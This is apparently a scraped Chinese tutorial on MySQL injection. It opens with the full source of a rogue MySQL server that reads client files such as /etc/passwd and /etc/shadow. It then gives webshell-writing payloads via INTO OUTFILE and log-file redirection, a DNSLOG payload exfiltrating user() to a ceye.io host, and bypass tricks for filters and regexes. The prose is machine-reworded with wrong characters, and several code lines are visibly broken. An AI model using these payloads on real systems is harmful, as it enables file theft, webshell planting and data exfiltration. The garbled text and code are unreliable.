#代码摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py#!/usr/bin/env python#coding: utf8import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler( tmp_format)filelist = (# r'c:\boot.ini', r'c:\windows\win.ini',# r'c:\windows\system32\drivers\etc\hosts',# '/etc/passwd',# '/etc/shadow',)#================================================#=======No need to change after this lines=======#================================================__author__ = 'Gifts'def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)class LastPacket(Exception): passclass OutOfOrder(Exception): passclass mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload)class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a', # Protocol '3.0.0-Evil_Mysql_Server' + '\0', # Version #'5.1.66-0+squeeze1' + '\0', '\x36\x00\x00\x00', # Thread ID 'evilsalt' + '\0', # Salt '\xdf\xf7', # Capabilities '\x08', # Collation '\x02\x00', # Server Status '\0' 13, # Unknown 'evil2222' + '\0', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256ord(data[1]) + 65536ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '\0': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == '\x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == '\x1b': log.info('SelectDB') self.push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0] in '\x02': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, '\0\0\0\x02\0\0\0') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)z = mysql_listener()daemonize()asyncore.loop()

须要把稳的是:这个过程须要客户端许可利用load data local才行,不过这个信息在客户端考试测验连接到做事真个数据包中可以找到。

说完了读文件,那我们来说说mysql的写文件操作。
常见的写文件操作如下:

select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';

限定:

secure-file-priv无值或为可利用的目录需知道目标目录的绝对目录地址目标目录可写,mysql的权限足够。
日志法

由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。
我们这里可以利用mysql天生日志文件的方法来绕过。

mysql日志文件的一些干系设置可以直接通过命令来进行:

//要求日志mysql> set global general_log_file = '/var/www/html/1.php';mysql> set global general_log = on;//慢查询日志mysql> set global slow_query_log_file='/var/www/html/2.php'mysql> set global slow_query_log=1;//还有其他很多日志都可以进行利用...

之后我们在让数据库实行知足记录条件的恶意语句即可。

限定:

权限够,可以进行日志的设置操作知道目标目录的绝对路径DNSLOG带出数据

什么是DNSLOG?大略的说,便是关于特定网站的DNS查询的一份记录表。
若A用户对B网站进行访问/要求等操作,首先会去查询B网站的DNS记录,由于B网站是被我们掌握的,便可以通过某些方法记录下A用户对付B网站的DNS记录信息。
此方法也称为OOB注入。

如何用DNSLOG带出数据?若我们想要查询的数据为:aabbcc,那么我们让mysql做事端去要求aabbcc.evil.com,通过记录evil.com的DNS记录,就可以得到数据:aabbcc。

引自:Dnslog在SQL注入中的实战

payload: load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))

运用处景:

三大注入无法利用有文件读取权限及secure-file-priv无值。
不知道网站/目标文件/目标目录的绝对路径目标系统为Windows

推举平台:ceye.io

为什么Windows可用,Linux弗成?这里涉及到一个叫UNC的知识点。
大略的说,在Windows中,路径以\\开头的路径在Windows中被定义为UNC路径,相称于网络硬盘一样的存在,以是我们填写域名的话,Windows会前辈行DNS查询。
但是对付Linux来说,并没有这一标准,以是DNSLOG在Linux环境不适用。
注:payload里的四个\\\\中的两个\是用来进行转义处理的。

二次注入

什么是二次注入?大略的说,便是攻击者布局的恶意payload首先会被做事器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。

举个例子,某个查询当先登录的用户信息的SQL语句如下:

select from users where username='$_SESSION['username']'

登录/注册处的SQL语句都经由了addslashes函数、单引号闭合的处理,且无编码产生的问题。

对付上述举的语句我们可以先注册一个名为admin' #的用户名,由于在注册进行了单引号的转义,故我们并不能直接进行insert注入,终极将我们的用户名存储在了做事器中,把稳:反斜杠转义掉了单引号,在mysql中得到的数据并没有反斜杠的存在。

在我们进行登录操作的时候,我们用注册的admin' #登录系统,并将用户部分数据存储在对付的SESSION中,如$_SESSION['username']。

上述的$_SESSION['username']并没有经由处理,直接拼接到了SQL语句之中,就会造成SQL注入,终极的语句为:

select from users where username='admin' #'order by比较盲注

这种方法利用的情形比较极度一些,如布尔盲注时,字符截取/比较限定很严格。
例子:

select from users where (select 'r' union select user() order by 1 limit 1)='r'

如果能一眼看出事理的话就不须要连续看下去了。

实际上此处是利用了order by语句的排序功能来进行判断的。
若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit语句将不会让其输出,那么全体条件将会成立,否之不成立。

利用这种方法可以做到不须要利用like、rlike、regexp等匹配语句以及字符操作函数。

再举个例子:

select username,flag,password from users where username='$username;'

页面回显的字段为:username与password,如何在union与flag两单词被拦截、无报错信息返回的情形下获取到用户名为admin的flag值?

我们前边讲到了无列名注入,通过利用union语句来对未知列名进行重命名的形式绕过,还讲过通过利用join using()报错注入出列名。
但现在,这两种方法都不可以的情形下该如何获取到flag字段的内容?

利用order by可轻松盲注出答案。
payload:

select username,flag,password from users where username='admin' union select 1,'a',3 order by 2

与之前的事理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注。

常见函数/符号归类注释符

单行注释单行注释单行注释多行(内联)注释#-- x //x为任意字符;%00/任意内容/

常用运算符

运算符解释运算符解释&&与,同and。
\\或,同or。
!非,同not。
~一元比特反转。
^异或,同xor。
+加,可替代空格,如select+user()。

系统信息函数

函数解释USER()获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。
DATABASE()获取当前选择的数据库名,同SCHEMA()。
VERSION()获取当前版本信息。

进制转换

函数解释ORD(str)返回字符串第一个字符的ASCII值。
OCT(N)以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,浸染相称于CONV(N,10,8)。
HEX(N_S)参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式。
UNHEX(str)HEX(str) 的逆向函数。
将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。
BIN(N)返回十进制数值 N 的二进制数值的字符串表现形式。
ASCII(str)同ORD(string)。
CONV(N,from_base,to_base)将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。
CHAR(N,... [USING charset_name])将每一个参数 N 都阐明为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。

字符截取/拼接

函数解释SUBSTR(str,N_start,N_length)对指定字符串进行截取,为SUBSTRING的大略版。
SUBSTRING()多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。
RIGHT(str,len)对指定字符串从最右边截取指定长度。
LEFT(str,len)对指定字符串从最左边截取指定长度。
RPAD(str,len,padstr)在 str 右方补齐 len 位的字符串 padstr,返回新字符串。
如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr)与RPAD相似,在str左边补齐。
MID(str,pos,len)同于 SUBSTRING(str,pos,len)。
INSERT(str,pos,len,newstr)在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串更换为新字符串 newstr,然后返回经由更换后的字符串。
INSERT(str,len,1,0x0)可当做截取函数。
CONCAT(str1,str2...)函数用于将多个字符串合并为一个字符串GROUP_CONCAT(...)返回一个字符串结果,该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,...)根据参数1,返回所输入其他的参数值。
可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。

常见全局变量

变量解释变量解释@@VERSION返回版本信息@@HOSTNAME返回安装的打算机名称@@GLOBAL.VERSION同@@VERSION@@BASEDIR返回MYSQL绝对路径

PS:查看全部全局变量SHOW GLOBAL VARIABLES;。

其他常用函数/语句

函数/语句解释LENGTH(str)返回字符串的长度。
PI()返回π的详细数值。
REGEXP "statement"正则匹配数据,返回值为布尔值。
LIKE "statement"匹配数据,%代表任意内容。
返回值为布尔值。
RLIKE "statement"与regexp相同。
LOCATE(substr,str,[pos])返回子字符串第一次涌现的位置。
POSITION(substr IN str)等同于 LOCATE()。
LOWER(str)将字符串的大写字母全部转成小写。
同:LCASE(str)。
UPPER(str)将字符串的小写字母全部转成大写。
同:UCASE(str)。
ELT(N,str1,str2,str3,...)与MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。
NULLIF(expr1,expr2)若expr1与expr2相同,则返回expr1,否则返回NULL。
CHARSET(str)返回字符串利用的字符集。
DECODE(crypt_str,pass_str)利用 pass_str 作为密码,解密加密字符串 crypt_str。
加密函数:ENCODE(str,pass_str)。

约束攻击

什么是约束攻击?

仍旧是先举个例子:

我们先通过下列语句建立一个用户表

CREATE TABLE users( username varchar(20), password varchar(20))

注册代码:

<?php$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");if (!$conn) { die("Connection failed: " . mysqli_connect_error());}$username = addslashes(@$_POST['username']);$password = addslashes(@$_POST['password']);$sql = "select from users where username = '$username'";$rs = mysqli_query($conn,$sql);if($rs->fetch_row()){ die('账号已注册');}else{ $sql2 = "insert into users values('$username','$password')"; mysqli_query($conn,$sql2); die('注册成功');}?>

登录判断代码:

<?php$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");if (!$conn) { die("Connection failed: " . mysqli_connect_error());}$username = addslashes(@$_POST['username']);$password = addslashes(@$_POST['password']);$sql = "select from users where username = '$username' and password='$password';";$rs = mysqli_query($conn,$sql);if($rs->fetch_row()){ $_SESSION['username']=$password;}else{ echo "fail";}?>

在无编码问题,且进行了单引号的处理情形下仍可能发生什么SQL注入问题呢?

我们把稳到,前边创建表格的语句限定了username和password的长度最大为25,若我们插入数据超过25,MYSQL会若何处理呢?答案是MYSQL会截取前边的25个字符进行插入。

而对付SELECT查询要求,若查询的数据超过25长度,也不会进行截取操作,这就产生了一个问题。

常日对付注册处的代码来说,须要先判断注册的用户名是否存在,再进行插入数据操作。
如我们注册一个username=admin[25个空格]x&password=123456的账号,做事器会先查询admin[25个空格]x的用户是否存在,若存在,则不能注册。
若不存在,则进行插入数据的操作。
而此处我们限定了username与password字段长度最大为25,以是我们实际插入的数据为username=admin[20个空格]&password=123456。

接着进行登录的时,我们利用:username=admin&password=123456进行登录,即可成功登录admin的账号。

防御:

给username字段添加unique属性。
利用id字段作为判断用户的凭据。
插入数据前判断数据长度。
堆叠注入

大略的说,由于分号;为MYSQL语句的结束符。
若在支持多语句实行的情形下,可利用此方法实行其他恶意语句,如RENAME、DROP等。

把稳,常日多语句实行时,若前条语句已返回数据,则之后的语句返回的数据常日无法返回前端页面。
建议利用union联合注入,若无法利用联合注入, 可考虑利用RENAME关键字,将想要的数据列名/表名变动成返回数据的SQL语句所定义的表/列名 。
详细参考:2019强网杯——随便注Writeup

PHP中堆叠注入的支持情形:

MysqliPDOMySQL引入的PHP版本5.05.03.0之前PHP5.x是否包含是是是多语句实行支持情形是大多数否

引自:PDO场景下的SQL注入探究

handler语句代替select查询

mysql除可利用select查询表中的数据,也可利用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。
它是mysql专用的语句,并没有包含到SQL标准中。

语法构造:

HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容

handler users open as yunensec; #指天命据表进行载入并将返回句柄重命名handler yunensec read first; #读取指定表/句柄的首行数据handler yunensec read next; #读取指定表/句柄的下一行数据handler yunensec read next; #读取指定表/句柄的下一行数据...handler yunensec close; #关闭句柄一些小Trick

这里跟大家分享一些故意思的Trick,紧张在一些CTF题涌现,这里也把它记下来,方便复习。

PHP/union.+?select/ig绕过。

在某些题目中,题目禁止union与select同时涌现时,会用此正则来判断输入数据。

利用点:PHP正则回溯BUG详细剖析文章:PHP利用PCRE回溯次数限定绕过某些安全限定

PHP为了防止正则表达式的谢绝做事攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停滞,返回未匹配到数据。

故而我们布局payload:union/100万个a,充当垃圾数据/select即可绕过正则判断。

一道干系的CTF题:TetCTF-2020 WP BY MrR3boot

无列名盲注

前边提到了,在知道表名,不知道列名的情形下,我们可以利用union来给未知列名“重命名”,还可以利用报错函数来注入出列名。
现在,除了之前的order by盲注之外,这里再提一种新的方法,直接通过select进行盲注。

核心payload:(select 'admin','admin')>(select from users limit 1)

子查询之间也可以直接通过>、<、=来进行判断。

UPDATE注入重复字段赋值

即:UPDATA table_name set field1=new_value,field1=new_value2 [where],终极field1字段的内容为new_value2,可用这个特性来进行UPDATA注入。
如:

UPDATE table_name set field1=new_value,field1=(select user()) [where]LIMIT之后的字段数判断

我们都知道若注入点在where子语句之后,判断字段数可以用order by或group by来进行判断,而limit后可以利用 into @,@ 判断字段数,个中@为mysql临时变量。

sys系统库

#查询所有的库: SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema; SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema; #查询指定库的表(若无则解释此表从未被访问): SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name; SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name; #统计所有访问过的表次数:库名,表名,访问次数 select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc; #查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep便是空闲),现在在实行的sql语句,上一次实行的sql语句,已经建立连接的韶光(秒) SELECT user,db,command,current_statement,last_statement,time FROM sys.session; #查看所有曾连接数据库的IP,总连接次数 SELECT host,total_connections FROM sys.host_summary;

节选自:Mysql的奇淫技巧(黑科技)

视图->列名解释host_summary -> host、total_connections历史连接IP、对应IP的连接次数innodb_buffer_stats_by_schema -> object_schema库名innodb_buffer_stats_by_table -> object_schema、object_name库名、表名(可指定)io_global_by_file_by_bytes -> file路径中包含库名io_global_by_file_by_latency -> file路径中包含库名processlist -> current_statement、last_statement当前数据库正在实行的语句、该句柄实行的上一条语句schema_auto_increment_columns -> table_schema、table_name、column_name库名、表名、列名schema_index_statistics -> table_schema、table_name库名、表名schema_object_overview -> db库名schema_table_statistics -> table_schema、table_name库名、表名schema_table_statistics_with_buffer -> table_schema、table_name库名、表名schema_tables_with_full_table_scans -> object_schema、object_name库名、表名(全面扫描访问)session -> current_statement、last_statement当前数据库正在实行的语句、该句柄实行的上一条语句statement_analysis -> query、db数据库最近实行的要求、对付要求访问的数据库名statementswith -> query、db数据库最近实行的分外情形的要求、对应要求的数据库version -> mysql_versionmysql版本信息x$innodb_buffer_stats_by_schema同innodb_buffer_stats_by_schemax$innodb_buffer_stats_by_table同innodb_buffer_stats_by_tablex$io_global_by_file_by_bytes同io_global_by_file_by_bytes......同......x$schema_flattened_keys -> table_schema、table_name、index_columns库名、表名、主键名x$ps_schema_table_statistics_io -> table_schema、table_name、count_read库名、表名、读取该表的次数

差点忘了,还有mysql数据库也可以查询表名、库名。

select table_name from mysql.innodb_table_stats where database_name=database();select table_name from mysql.innodb_index_stats where database_name=database();Mysql注入防御单引号闭合可控变量,并进行相应的转义处理只管即便利用预编译来实行SQL语句采取白名单机制/完善黑名单安装WAF防护软件谢毫不安全的编码转换,只管即便统一编码关闭缺点提示

标签:

相关文章

phpwhile无穷轮回技巧_PHP 轮回While 轮回

PHP 循环在您编写代码时,您常常须要让相同的代码块一次又一次地重复运行。我们可以在代码中利用循环语句来完成这个任务。在 PHP...

PHP教程 2024-12-14 阅读0 评论0